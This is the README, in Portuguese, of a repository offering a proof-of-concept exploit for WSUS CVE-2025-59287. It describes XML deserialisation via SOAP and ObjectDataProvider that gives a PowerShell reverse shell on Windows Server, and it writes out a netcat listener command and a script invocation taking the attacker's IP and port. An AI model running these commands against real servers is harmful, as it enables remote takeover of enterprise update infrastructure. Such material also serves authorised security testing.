furkankayapinar/cve-2025-59287PoC exploit para WSUS CVE-2025-59287 usando desserialização XML para obter um reverse shell no Windows via SOAP e ObjectDataProvider.
WSUS CVE-2025-59287 – Desserialização XML RCE (Reverse Shell) Um PoC focado para explorar o WSUS CVE-2025-59287 via desserialização XML para obter uma reverse shell do Windows. Este script suporta apenas payload de reverse shell (sem fallback para calc). Alvo: Windows Server com função WSUS Técnica: Desserialização SOAP + ObjectDataProvider Resultado: cmd.exe executa PowerShell reverse shell para o seu listener Aviso legal Apenas para testes autorizados em ambientes de laboratório. Você é responsável por cumprir todas as leis aplicáveis. Requisitos Python 3.x Acesso de rede aos endpoints WSUS (geralmente 8530/8531) Listener na sua máquina (ex.: nc)
nc -lvnp 4444
python3 my-CVE-2025-59287.py -u http://ALVO:8531 -l SEU_IP -p 4444 --debug
-u: URL base do WSUS (http/https, normalmente porta 8530/8531) -l: Seu IP para receber a shell -p: Porta do seu listener --debug: Saída detalhada
